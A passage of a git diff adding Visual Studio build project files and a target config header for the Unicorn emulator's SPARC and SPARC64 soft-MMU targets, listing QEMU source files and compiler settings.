Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{698C2D54-475C-446F-B879-F629BBEF75FE}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sparcsoftmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-sparc;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>sparc.h</ForcedIncludeFiles> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-sparc;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>sparc.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-sparc;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>sparc.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-sparc;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>sparc.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/sparc-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/sparc-softmmu.vcxproj.filters new file mode 100644 index 0000000..95458e1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/sparc-softmmu.vcxproj.filters @@ -0,0 +1,122 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{d424a094-0a26-4db6-85e9-e75f81c6e142}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{dec3e9f1-0fc3-454e-ae70-78d866b5c3f8}</UniqueIdentifier> + </Filter> + <Filter Include="hw\sparc"> + <UniqueIdentifier>{0a04b798-735c-4115-ab62-b6cfc772efed}</UniqueIdentifier> + </Filter> + <Filter Include="target-sparc"> + <UniqueIdentifier>{10f0c533-e16b-4e31-b979-812af068bb36}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{b229bf2b-cc40-4135-b3b7-40c73bd9f597}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{133a0d6a-6f71-4d4b-be6d-f90636aa02a2}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-sparc\cpu.h"> + <Filter>target-sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-sparc\cpu-qom.h"> + <Filter>target-sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-sparc\helper.h"> + <Filter>target-sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-sparc\unicorn.h"> + <Filter>target-sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\sparc.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + <ClCompile Include="..\..\..\qemu\hw\sparc\leon3.c"> + <Filter>hw\sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\fop_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\ldst_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\mmu_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\translate.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\win_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\cc_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\cpu.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\unicorn.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\int32_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/config-target.h new file mode 100644 index 0000000..63fa864 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/config-target.h @@ -0,0 +1,6 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_SPARC64 1 +#define TARGET_NAME "sparc64" +#define TARGET_SPARC 1 +#define TARGET_WORDS_BIGENDIAN 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/sparc64-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/sparc64-softmmu.vcxproj new file mode 100644 index 0000000..1f0dea5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/sparc64-softmmu.vcxproj @@ -0,0 +1,231 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\target-sparc\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-sparc\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-sparc\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-sparc\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\sparc64.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\sparc64\sun4u.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\cc_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\fop_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\int64_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\ldst_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\mmu_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\unicorn64.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\vis_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\win_helper.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{8804AD29-E398-480C-AC0F-98EC1B7A51CB}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sparc64softmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-sparc;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>sparc64.h</ForcedIncludeFiles> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-sparc;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>sparc64.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-sparc;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>sparc64.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-sparc;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>sparc64.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/sparc64-softmmu.vcxproj.filters 